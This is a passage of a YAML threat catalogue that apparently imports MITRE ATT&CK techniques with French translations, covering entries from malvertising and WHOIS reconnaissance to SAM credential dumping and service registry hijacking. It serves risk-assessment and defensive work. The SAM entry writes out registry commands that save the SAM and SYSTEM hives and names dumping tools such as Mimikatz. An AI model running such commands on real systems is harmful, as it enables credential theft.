      network devices.


      Adversaries often target Internet-facing edge devices and related network appliances
      that specifically do not support robust host-based defenses.(Citation: Mandiant
      Fortinet Zero Day)(Citation: Wired Russia Cyberwar)


      Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011)
      activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665)
      through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or
      [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice
      GRU 2024)

      https://attack.mitre.org/techniques/T1584/008'
    translations:
      fr:
        name: "P\xE9riph\xE9riques r\xE9seau"
        description: "Les adversaires peuvent compromettre les p\xE9riph\xE9riques\
          \ r\xE9seau tiers qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les p\xE9\
          riph\xE9riques r\xE9seau, tels que les routeurs de petits bureaux/bureaux\
          \ \xE0 domicile (SOHO), peuvent \xEAtre compromis lorsque l\u2019objectif\
          \ ultime de l\u2019adversaire n\u2019est pas [l\u2019acc\xE8s initial](https://attack.mitre.org/tactics/TA0001)\
          \ \xE0 cet environnement, mais plut\xF4t d\u2019exploiter ces p\xE9riph\xE9\
          riques pour prendre en charge un ciblage suppl\xE9mentaire.\n\nUne fois\
          \ qu\u2019un adversaire a pris le contr\xF4le, les p\xE9riph\xE9riques r\xE9\
          seau compromis peuvent \xEAtre utilis\xE9s pour lancer des op\xE9rations\
          \ suppl\xE9mentaires, telles que l\u2019h\xE9bergement de charges utiles\
          \ pour des campagnes de [phishing](https://attack.mitre.org/techniques/T1566)\
          \ (c\u2019est-\xE0-dire [Link Target](https://attack.mitre.org/techniques/T1608/005))\
          \ ou l\u2019activation de l\u2019acc\xE8s requis pour ex\xE9cuter des op\xE9\
          rations [Content Injection](https://attack.mitre.org/techniques/T1659).\
          \ Les adversaires peuvent \xE9galement \xEAtre en mesure de collecter des\
          \ informations d\u2019identification r\xE9utilisables (c\u2019est-\xE0-dire\
          \ [Comptes valides](https://attack.mitre.org/techniques/T1078)) \xE0 partir\
          \ de p\xE9riph\xE9riques r\xE9seau compromis.\n\nLes adversaires ciblent\
          \ souvent les appareils de p\xE9riph\xE9rie connect\xE9s \xE0 Internet et\
          \ les appliances r\xE9seau associ\xE9es qui ne prennent pas en charge les\
          \ d\xE9fenses robustes bas\xE9es sur l\u2019h\xF4te. (Citation : Mandiant\
          \ Fortinet Zero Day)(Citation : Cyberguerre c\xE2bl\xE9e de la Russie)\n\
          \nLes p\xE9riph\xE9riques r\xE9seau compromis peuvent \xEAtre utilis\xE9\
          s pour prendre en charge les activit\xE9s ult\xE9rieures de [Command and\
          \ Control](https://attack.mitre.org/tactics/TA0011), telles que [Hide Infrastructure](https://attack.mitre.org/techniques/T1665)\
          \ via un r\xE9seau [Proxy](https://attack.mitre.org/techniques/T1090) et/ou\
          \ [Botnet](https://attack.mitre.org/techniques/T1584/005). (R\xE9f\xE9rence\
          \ : Justice GRU 2024)\nhttps://attack.mitre.org/techniques/T1584/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.008
    ref_id: T1583.008
    name: Malvertising
    description: "Adversaries may purchase online advertisements that can be abused\
      \ to distribute malware to victims. Ads can be purchased to plant as well as\
      \ favorably position artifacts in specific locations  online, such as prominently\
      \ placed within search engine results. These ads may make it more difficult\
      \ for users to distinguish between actual search results and advertisements.(Citation:\
      \ spamhaus-malvertising) Purchased ads may also target specific audiences using\
      \ the advertising network\u2019s capabilities, potentially further taking advantage\
      \ of the trust inherently given to search engines and popular websites. \n\n\
      Adversaries may purchase ads and other resources to help distribute artifacts\
      \ containing malicious code to victims. Purchased ads may attempt to impersonate\
      \ or spoof well-known brands. For example, these spoofed ads may trick victims\
      \ into clicking the ad which could then send them to a malicious domain that\
      \ may be a clone of official websites containing trojanized versions of the\
      \ advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary\u2019\
      s efforts to create malicious domains and purchase advertisements may also be\
      \ automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising)\
      \ \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)\
      \ and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially\
      \ requiring limited interaction from the user if the ad contains code/exploits\
      \ that infect the target system's web browser.(Citation: BBC-malvertising)\n\
      \nAdversaries may also employ several techniques to evade detection by the advertising\
      \ network. For example, adversaries may dynamically route ad clicks to send\
      \ automated crawler/policy enforcer traffic to benign sites while validating\
      \ potential targets then sending victims referred from real ad clicks to malicious\
      \ pages. This infection vector may therefore remain hidden from the ad network\
      \ as well as any visitor not reaching the malicious sites with a valid identifier\
      \ from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks,\
      \ such as intentional typos to avoid brand reputation monitoring, may also be\
      \ used to evade automated detection.(Citation: spamhaus-malvertising)\nhttps://attack.mitre.org/techniques/T1583/008"
    translations:
      fr:
        name: "Publicit\xE9 malveillante"
        description: "Les adversaires peuvent acheter des publicit\xE9s en ligne qui\
          \ peuvent \xEAtre utilis\xE9es \xE0 mauvais escient pour distribuer des\
          \ logiciels malveillants aux victimes. Les annonces peuvent \xEAtre achet\xE9\
          es pour planter et positionner favorablement des artefacts \xE0 des endroits\
          \ sp\xE9cifiques en ligne, par exemple en bonne place dans les r\xE9sultats\
          \ des moteurs de recherche. Ces publicit\xE9s peuvent rendre plus difficile\
          \ pour les utilisateurs de faire la distinction entre les r\xE9sultats de\
          \ recherche r\xE9els et les publicit\xE9s. (Citation : spamhaus-malvertising)\
          \ Les publicit\xE9s achet\xE9es peuvent \xE9galement cibler des publics\
          \ sp\xE9cifiques en utilisant les capacit\xE9s du r\xE9seau publicitaire,\
          \ ce qui permet de tirer parti de la confiance inh\xE9rente accord\xE9e\
          \ aux moteurs de recherche et aux sites Web populaires. \n\nLes adversaires\
          \ peuvent acheter des publicit\xE9s et d\u2019autres ressources pour aider\
          \ \xE0 distribuer des artefacts contenant du code malveillant aux victimes.\
          \ Les publicit\xE9s achet\xE9es peuvent tenter d\u2019usurper l\u2019identit\xE9\
          \ de marques connues ou de les usurper. Par exemple, ces publicit\xE9s usurp\xE9\
          es peuvent inciter les victimes \xE0 cliquer sur l\u2019annonce, ce qui\
          \ peut ensuite les envoyer vers un domaine malveillant qui peut \xEAtre\
          \ un clone de sites Web officiels contenant des versions trojanis\xE9es\
          \ du logiciel annonc\xE9. (Citation : Masquerads-Guardio)(Citation\_: FBI-search)\
          \ Les efforts de l\u2019adversaire pour cr\xE9er des domaines malveillants\
          \ et acheter des publicit\xE9s peuvent \xE9galement \xEAtre automatis\xE9\
          s \xE0 grande \xE9chelle afin de mieux r\xE9sister aux efforts de nettoyage.\
          \ (Citation : sentinelone-malvertising) \n\nLe malvertising peut \xEAtre\
          \ utilis\xE9 pour soutenir [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)\
          \ et [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), n\xE9\
          cessitant potentiellement une interaction limit\xE9e de la part de l\u2019\
          utilisateur si l\u2019annonce contient du code/des exploits qui infectent\
          \ le navigateur Web du syst\xE8me cible. (Citation : BBC-malvertising)\n\
          \nLes adversaires peuvent \xE9galement employer plusieurs techniques pour\
          \ \xE9chapper \xE0 la d\xE9tection par le r\xE9seau publicitaire. Par exemple,\
          \ les adversaires peuvent acheminer dynamiquement les clics sur les annonces\
          \ pour envoyer le trafic automatis\xE9 des robots d\u2019indexation/application\
          \ des r\xE8gles vers des sites inoffensifs, tout en validant les cibles\
          \ potentielles, puis en envoyant les victimes renvoy\xE9es \xE0 partir de\
          \ clics r\xE9els sur des annonces vers des pages malveillantes. Ce vecteur\
          \ d\u2019infection peut donc rester cach\xE9 du r\xE9seau publicitaire ainsi\
          \ que de tout visiteur qui n\u2019acc\xE8de pas aux sites malveillants avec\
          \ un identifiant valide en cliquant sur la publicit\xE9. (Citation : Masquerads-Guardio)\
          \ D\u2019autres astuces, telles que des fautes de frappe intentionnelles\
          \ pour \xE9viter la surveillance de la r\xE9putation de la marque, peuvent\
          \ \xE9galement \xEAtre utilis\xE9es pour \xE9chapper \xE0 la d\xE9tection\
          \ automatique. (Citation : spamhaus-malvertising)\nhttps://attack.mitre.org/techniques/T1583/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1069
    ref_id: T1069
    name: Permission Groups Discovery
    description: 'Adversaries may attempt to discover group and permission settings.
      This information can help adversaries determine which user accounts and groups
      are available, the membership of users in particular groups, and which users
      and groups have elevated permissions.


      Adversaries may attempt to discover group permission settings in many different
      ways. This data may provide the adversary with information about the compromised
      environment that can be used in follow-on activity and targeting.(Citation:
      CrowdStrike BloodHound April 2018)

      https://attack.mitre.org/techniques/T1069'
    translations:
      fr:
        name: "D\xE9couverte des groupes d\u2019autorisations"
        description: "Les adversaires peuvent tenter de d\xE9couvrir les param\xE8\
          tres de groupe et d\u2019autorisation. Ces informations peuvent aider les\
          \ adversaires \xE0 d\xE9terminer quels comptes d\u2019utilisateurs et quels\
          \ groupes sont disponibles, l\u2019appartenance des utilisateurs \xE0 des\
          \ groupes particuliers et quels utilisateurs et groupes disposent d\u2019\
          autorisations \xE9lev\xE9es.\n\nLes adversaires peuvent tenter de d\xE9\
          couvrir les param\xE8tres d\u2019autorisation de groupe de diff\xE9rentes\
          \ mani\xE8res. Ces donn\xE9es peuvent fournir \xE0 l\u2019adversaire des\
          \ informations sur l\u2019environnement compromis qui peuvent \xEAtre utilis\xE9\
          es dans le cadre d\u2019activit\xE9s de suivi et de ciblage. (Citation :\
          \ CrowdStrike BloodHound avril 2018)\nhttps://attack.mitre.org/techniques/T1069"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1114
    ref_id: T1114
    name: Email Collection
    description: 'Adversaries may target user email to collect sensitive information.
      Emails may contain sensitive data, including trade secrets or personal information,
      that can prove valuable to adversaries. Emails may also contain details of ongoing
      incident response operations, which may allow adversaries to adjust their techniques
      in order to maintain persistence or evade defenses.(Citation: TrustedSec OOB
      Communications)(Citation: CISA AA20-352A 2021) Adversaries can collect or forward
      email from mail servers or clients.

      https://attack.mitre.org/techniques/T1114'
    translations:
      fr:
        name: "Collecte d\u2019e-mails"
        description: "Les adversaires peuvent cibler l\u2019adresse e-mail de l\u2019\
          utilisateur pour collecter des informations sensibles. Les e-mails peuvent\
          \ contenir des donn\xE9es sensibles, notamment des secrets commerciaux ou\
          \ des informations personnelles, qui peuvent s\u2019av\xE9rer pr\xE9cieuses\
          \ pour les adversaires. Les e-mails peuvent \xE9galement contenir des d\xE9\
          tails sur les op\xE9rations de r\xE9ponse aux incidents en cours, ce qui\
          \ peut permettre aux adversaires d\u2019ajuster leurs techniques afin de\
          \ maintenir la persistance ou d\u2019\xE9chapper aux d\xE9fenses. (Citation\
          \ : TrustedSec OOB Communications)(R\xE9f\xE9rence : CISA AA20-352A 2021)\
          \ Les adversaires peuvent collecter ou transf\xE9rer des e-mails \xE0 partir\
          \ de serveurs de messagerie ou de clients.\nhttps://attack.mitre.org/techniques/T1114"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.002
    ref_id: T1003.002
    name: Security Account Manager
    description: "Adversaries may attempt to extract credential material from the\
      \ Security Account Manager (SAM) database either through in-memory techniques\
      \ or through the Windows Registry where the SAM database is stored. The SAM\
      \ is a database file that contains local accounts for the host, typically those\
      \ found with the <code>net user</code> command. Enumerating the SAM database\
      \ requires SYSTEM level access.\n\nA number of tools can be used to retrieve\
      \ the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n\
      * [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\n\
      Alternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg\
      \ save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\n\
      Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation:\
      \ GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n\
      * RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n\
      https://attack.mitre.org/techniques/T1003/002"
    translations:
      fr:
        name: "Gestionnaire de comptes de s\xE9curit\xE9"
        description: "Les adversaires peuvent tenter d\u2019extraire des informations\
          \ d\u2019identification de la base de donn\xE9es SAM (Security Account Manager)\
          \ soit par des techniques en m\xE9moire, soit par le biais du registre Windows\
          \ o\xF9 la base de donn\xE9es SAM est stock\xE9e. Le SAM est un fichier\
          \ de base de donn\xE9es qui contient les comptes locaux de l\u2019h\xF4\
          te, g\xE9n\xE9ralement ceux trouv\xE9s avec la commande <code>net user</code>.\
          \ L\u2019\xE9num\xE9ration de la base de donn\xE9es SAM n\xE9cessite un\
          \ acc\xE8s au niveau SYSTEM.\n\nUn certain nombre d\u2019outils peuvent\
          \ \xEAtre utilis\xE9s pour r\xE9cup\xE9rer le fichier SAM gr\xE2ce \xE0\
          \ des techniques en m\xE9moire :\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n\
          * [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\
          \nAlternativement, le SAM peut \xEAtre extrait du registre avec Reg :\n\n\
          * <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\syst\xE8me\
          \ syst\xE8me</code>\n\nCreddump7 peut ensuite \xEAtre utilis\xE9 pour traiter\
          \ la base de donn\xE9es SAM localement afin de r\xE9cup\xE9rer les hachages.\
          \ (Citation : GitHub Creddump7)\n\nNotes: \n\n* Le compte RID 500 est l\u2019\
          administrateur local int\xE9gr\xE9.\n* Le RID 501 est le compte invit\xE9\
          .\n* Les comptes d\u2019utilisateurs commencent avec un RID de 1 000+.\n\
          https://attack.mitre.org/techniques/T1003/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1596.002
    ref_id: T1596.002
    name: WHOIS
    description: 'Adversaries may search public WHOIS data for information about victims
      that can be used during targeting. WHOIS data is stored by regional Internet
      registries (RIR) responsible for allocating and assigning Internet resources
      such as domain names. Anyone can query WHOIS servers for information about a
      registered domain, such as assigned IP blocks, contact information, and DNS
      nameservers.(Citation: WHOIS)


      Adversaries may search WHOIS data to gather actionable information. Threat actors
      can use online resources or command-line utilities to pillage through WHOIS
      data for information about potential victims. Information from these sources
      may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595)
      or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing
      operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
      or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),
      and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
      or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

      https://attack.mitre.org/techniques/T1596/002'
    translations:
      fr:
        name: WHOIS
        description: "Les adversaires peuvent rechercher dans les donn\xE9es WHOIS\
          \ publiques des informations sur les victimes qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. Les donn\xE9es WHOIS sont stock\xE9es par les registres\
          \ Internet r\xE9gionaux (RIR) charg\xE9s de l\u2019allocation et de l\u2019\
          attribution des ressources Internet telles que les noms de domaine. N\u2019\
          importe qui peut interroger les serveurs WHOIS pour obtenir des informations\
          \ sur un domaine enregistr\xE9, telles que les blocs d\u2019adresses IP\
          \ attribu\xE9s, les informations de contact et les serveurs de noms DNS.\
          \ (Citation : WHOIS)\n\nLes adversaires peuvent rechercher des donn\xE9\
          es WHOIS pour recueillir des informations exploitables. Les acteurs de la\
          \ menace peuvent utiliser des ressources en ligne ou des utilitaires de\
          \ ligne de commande pour piller les donn\xE9es WHOIS \xE0 la recherche d\u2019\
          informations sur les victimes potentielles. Les informations provenant de\
          \ ces sources peuvent r\xE9v\xE9ler des opportunit\xE9s pour d\u2019autres\
          \ formes de reconnaissance (ex : [Analyse active](https://attack.mitre.org/techniques/T1595)\
          \ ou [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Acquisition\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromission\
          \ d\u2019infrastructure](https://attack.mitre.org/techniques/T1584)), et/ou\
          \ d\u2019acc\xE8s initial (ex : [Externe distant Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Relation de confiance](https://attack.mitre.org/techniques/T1199)).\n\
          https://attack.mitre.org/techniques/T1596/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1542.001
    ref_id: T1542.001
    name: System Firmware
    description: 'Adversaries may modify system firmware to persist on systems.The
      BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface
      (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware
      that operate as the software interface between the operating system and hardware
      of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation:
      About UEFI)


      System firmware like BIOS and (U)EFI underly the functionality of a computer
      and may be modified by an adversary to perform or assist in malicious activity.
      Capabilities exist to overwrite the system firmware, which may give sophisticated
      adversaries a means to install malicious firmware updates as a means of persistence
      on a system that may be difficult to detect.

      https://attack.mitre.org/techniques/T1542/001'
    translations:
      fr:
        name: "Micrologiciel du syst\xE8me"
        description: "Les adversaires peuvent modifier le microprogramme du syst\xE8\
          me pour qu\u2019il persiste sur les syst\xE8mes. Le BIOS (Basic Input/Output\
          \ System) et l\u2019interface UEFI (Unified Extensible Firmware Interface)\
          \ ou EFI (Extensible Firmware Interface) sont des exemples de microprogramme\
          \ syst\xE8me qui fonctionnent comme l\u2019interface logicielle entre le\
          \ syst\xE8me d\u2019exploitation et le mat\xE9riel d\u2019un ordinateur.\
          \ (Citation : BIOS de Wikip\xE9dia)(Citation : Wikip\xE9dia UEFI)(Citation\
          \ : \xC0 propos de l\u2019UEFI)\n\nLes microprogrammes syst\xE8me tels que\
          \ le BIOS et l\u2019EFI sont \xE0 la base des fonctionnalit\xE9s d\u2019\
          un ordinateur et peuvent \xEAtre modifi\xE9s par un adversaire pour effectuer\
          \ ou participer \xE0 des activit\xE9s malveillantes. Il est possible d\u2019\
          \xE9craser le micrologiciel du syst\xE8me, ce qui peut donner \xE0 des adversaires\
          \ sophistiqu\xE9s un moyen d\u2019installer des mises \xE0 jour de microprogramme\
          \ malveillantes comme moyen de persistance sur un syst\xE8me qui peut \xEA\
          tre difficile \xE0 d\xE9tecter.\nhttps://attack.mitre.org/techniques/T1542/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1594
    ref_id: T1594
    name: Search Victim-Owned Websites
    description: 'Adversaries may search websites owned by the victim for information
      that can be used during targeting. Victim-owned websites may contain a variety
      of details, including names of departments/divisions, physical locations, and
      data about key employees such as names, roles, and contact info (ex: [Email
      Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may
      also have details highlighting business operations and relationships.(Citation:
      Comparitech Leak)


      Adversaries may search victim-owned websites to gather actionable information.
      Information from these sources may reveal opportunities for other forms of reconnaissance
      (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or
      [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
      or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or
      initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)
      or [Phishing](https://attack.mitre.org/techniques/T1566)).


      In addition to manually browsing the website, adversaries may attempt to identify
      hidden directories or files that could contain additional sensitive information
      or vulnerable functionality. They may do this through automated activities such
      as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well
      as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap
      XML 2023)(Citation: Register Robots TXT 2015)

      https://attack.mitre.org/techniques/T1594'
    translations:
      fr:
        name: "Rechercher des sites Web appartenant \xE0 des victimes"
        description: "Les adversaires peuvent rechercher des sites Web appartenant\
          \ \xE0 la victime \xE0 la recherche d\u2019informations qui peuvent \xEA\
          tre utilis\xE9es lors du ciblage. Les sites Web appartenant aux victimes\
          \ peuvent contenir divers d\xE9tails, notamment les noms des services ou\
          \ des divisions, les emplacements physiques et des donn\xE9es sur les employ\xE9\
          s cl\xE9s, comme les noms, les r\xF4les et les coordonn\xE9es (p. ex. :\
          \ [Adresses e-mail](https://attack.mitre.org/techniques/T1589/002)). Ces\
          \ sites peuvent \xE9galement contenir des d\xE9tails mettant en \xE9vidence\
          \ les op\xE9rations et les relations commerciales. (Citation : Fuite Comparitech)\n\
          \nLes adversaires peuvent effectuer des recherches sur des sites Web appartenant\
          \ \xE0 des victimes pour recueillir des informations exploitables. Les informations\
          \ provenant de ces sources peuvent r\xE9v\xE9ler des possibilit\xE9s pour\
          \ d\u2019autres formes de reconnaissance (ex : [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
          \ ou [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [\xC9tablissement\
          \ de comptes](https://attack.mitre.org/techniques/T1585) ou [Compromission\
          \ de comptes](https://attack.mitre.org/techniques/T1586)), et/ou d\u2019\
          acc\xE8s initial (ex : [Trusted Relation](https://attack.mitre.org/techniques/T1199)\
          \ ou [Hame\xE7onnage](https://attack.mitre.org/techniques/T1566)).\n\nEn\
          \ plus de naviguer manuellement sur le site Web, les adversaires peuvent\
          \ tenter d\u2019identifier des r\xE9pertoires ou des fichiers cach\xE9s\
          \ qui pourraient contenir des informations sensibles suppl\xE9mentaires\
          \ ou des fonctionnalit\xE9s vuln\xE9rables. Ils peuvent le faire par le\
          \ biais d\u2019activit\xE9s automatis\xE9es telles que [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003),\
          \ ainsi qu\u2019en exploitant des fichiers tels que sitemap.xml et robots.txt.\
          \ (Citation : Perez sitemap XML 2023)(Citation : Registre des robots TXT\
          \ 2015)\nhttps://attack.mitre.org/techniques/T1594"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1069.003
    ref_id: T1069.003
    name: Cloud Groups
    description: 'Adversaries may attempt to find cloud groups and permission settings.
      The knowledge of cloud permission groups can help adversaries determine the
      particular roles of users and groups within an environment, as well as which
      users are associated with a particular group.


      With authenticated access there are several tools that can be used to find permissions
      groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain
      roles and permissions groups for Exchange and Office 365 accounts (Citation:
      Microsoft Msolrole)(Citation: GitHub Raindance).


      Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces
      to obtain permissions groups. The command <code>az ad user get-member-groups</code>
      will list groups associated to a user account for Azure while the API endpoint
      <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group
      resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation:
      Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API
      Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies`
      allow users to enumerate the policies attached to a role.(Citation: Palo Alto
      Unit 42 Compromised Cloud Compute Credentials 2022)


      Adversaries may attempt to list ACLs for objects to determine the owner and
      other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code>
      API (Citation: AWS Get Bucket ACL). Using this information an adversary can
      target accounts with permissions to a given object or leverage accounts they
      have already compromised to access the object.

      https://attack.mitre.org/techniques/T1069/003'
    translations:
      fr:
        name: Groupes de cloud
        description: "Les adversaires peuvent tenter de trouver des groupes de cloud\
          \ et des param\xE8tres d\u2019autorisation. La connaissance des groupes\
          \ d\u2019autorisations cloud peut aider les adversaires \xE0 d\xE9terminer\
          \ les r\xF4les particuliers des utilisateurs et des groupes au sein d\u2019\
          un environnement, ainsi que les utilisateurs associ\xE9s \xE0 un groupe\
          \ particulier.\n\nAvec l\u2019acc\xE8s authentifi\xE9, il existe plusieurs\
          \ outils qui peuvent \xEAtre utilis\xE9s pour trouver des groupes d\u2019\
          autorisations. L\u2019applet de commande <code>PowerShell Get-MsolRole</code>\
          \ peut \xEAtre utilis\xE9e pour obtenir des r\xF4les et des groupes d\u2019\
          autorisations pour les comptes Exchange et Office 365 (R\xE9f\xE9rence :\
          \ Microsoft Msolrole) (R\xE9f\xE9rence : GitHub Raindance).\n\nAzure CLI\
          \ (AZ CLI) et l\u2019API du fournisseur d\u2019identit\xE9 Google Cloud\
          \ fournissent \xE9galement des interfaces permettant d\u2019obtenir des\
          \ groupes d\u2019autorisations. La commande <code>az ad user get-member-groups</code>\
          \ r\xE9pertorie les groupes associ\xE9s \xE0 un compte d\u2019utilisateur\
          \ pour Azure, tandis que le point de terminaison <code>d\u2019API GET https://cloudidentity.googleapis.com/v1/groups</code>\
          \ r\xE9pertorie les ressources de groupe disponibles pour un utilisateur\
          \ pour Google. (Citation : Microsoft AZ CLI)(Citation : Black Hills Red\
          \ Teaming MS AD Azure, 2018)(Citation : Documentation de l\u2019API Google\
          \ Cloud Identity) Dans AWS, les commandes \xAB ListRolePolicies \xBB et\
          \ \xAB ListAttachedRolePolicies \xBB permettent aux utilisateurs d\u2019\
          \xE9num\xE9rer les strat\xE9gies attach\xE9es \xE0 un r\xF4le. (Citation\
          \ : Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nLes\
          \ adversaires peuvent tenter de r\xE9pertorier les listes de contr\xF4le\
          \ d\u2019acc\xE8s des objets afin de d\xE9terminer le propri\xE9taire et\
          \ d\u2019autres comptes ayant acc\xE8s \xE0 l\u2019objet, par exemple, via\
          \ l\u2019API AWS <code>GetBucketAcl</code> (citation : AWS Get Bucket ACL).\
          \ \xC0 l\u2019aide de ces informations, un adversaire peut cibler des comptes\
          \ disposant d\u2019autorisations sur un objet donn\xE9 ou exploiter des\
          \ comptes qu\u2019il a d\xE9j\xE0 compromis pour acc\xE9der \xE0 l\u2019\
          objet.\nhttps://attack.mitre.org/techniques/T1069/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.011
    ref_id: T1574.011
    name: Services Registry Permissions Weakness
    description: "Adversaries may execute their own malicious payloads by hijacking\
      \ the Registry entries used by services. Adversaries may use flaws in the permissions\
      \ for Registry keys related to services to redirect from the originally specified\
      \ executable to one that they control, in order to launch their own code when\
      \ a service starts. Windows stores local service configuration information in\
      \ the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\
      \ The information stored under a service's Registry keys can be manipulated\
      \ to modify a service's execution parameters through tools such as the service\
      \ controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001),\
      \ or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys\
      \ is controlled through access control lists and user permissions. (Citation:\
      \ Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions\
      \ for users and groups are not properly set and allow access to the Registry\
      \ keys for a service, adversaries may change the service's binPath/ImagePath\
      \ to point to a different executable under their control. When the service starts\
      \ or is restarted, then the adversary-controlled program will execute, allowing\
      \ the adversary to establish persistence and/or privilege escalation to the\
      \ account context the service is set to execute under (local/domain account,\
      \ SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other\
      \ Registry keys in the service\u2019s Registry tree. For example, the <code>FailureCommand</code>\
      \ key may be changed so that the service is executed in an elevated context\
      \ anytime the service fails or is intentionally corrupted.(Citation: Kansa Service\
      \ related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe <code>Performance</code>\
      \ key contains the name of a driver service's performance DLL and the names\
      \ of several exported functions in the DLL.(Citation: microsoft_services_registry_tree)\
      \ If the <code>Performance</code> key is not already present and if an adversary-controlled\
      \ user has the <code>Create Subkey</code> permission, adversaries may create\
      \ the <code>Performance</code> key in the service\u2019s Registry tree to point\
      \ to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also\
      \ add the <code>Parameters</code> key, which stores driver-specific data, or\
      \ other custom subkeys for their malicious services to establish persistence\
      \ or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation:\
      \ troj_zegost) Additionally, If adversaries launch their malicious services\
      \ using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\\
      SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation:\
      \ malware_hides_service)\nhttps://attack.mitre.org/techniques/T1574/011"
    translations:
      fr:
        name: Faiblesse des autorisations de registre des services
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant les entr\xE9es de registre utilis\xE9es\
          \ par les services. Les adversaires peuvent utiliser des failles dans les\
          \ autorisations des cl\xE9s de registre li\xE9es aux services pour rediriger\
          \ de l\u2019ex\xE9cutable sp\xE9cifi\xE9 \xE0 l\u2019origine vers un ex\xE9\
          cutable qu\u2019ils contr\xF4lent, afin de lancer leur propre code au d\xE9\
          marrage d\u2019un service. Windows stocke les informations de configuration\
          \ du service local dans le registre sous <code>HKLM\\SYSTEM\\CurrentControlSet\\\
          Services</code>. Les informations stock\xE9es sous les cl\xE9s de registre\
          \ d\u2019un service peuvent \xEAtre manipul\xE9es pour modifier les param\xE8\
          tres d\u2019ex\xE9cution d\u2019un service \xE0 l\u2019aide d\u2019outils\
          \ tels que le contr\xF4leur de service, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ ou [Reg](https://attack.mitre.org/software/S0075). L\u2019acc\xE8s aux\
          \ cl\xE9s de registre est contr\xF4l\xE9 par le biais de listes de contr\xF4\
          le d\u2019acc\xE8s et d\u2019autorisations utilisateur. (Citation : S\xE9\
          curit\xE9 de la cl\xE9 de registre)(Citation : malware_hides_service)\n\n\
          Si les autorisations pour les utilisateurs et les groupes ne sont pas correctement\
          \ d\xE9finies et ne permettent pas l\u2019acc\xE8s aux cl\xE9s de registre\
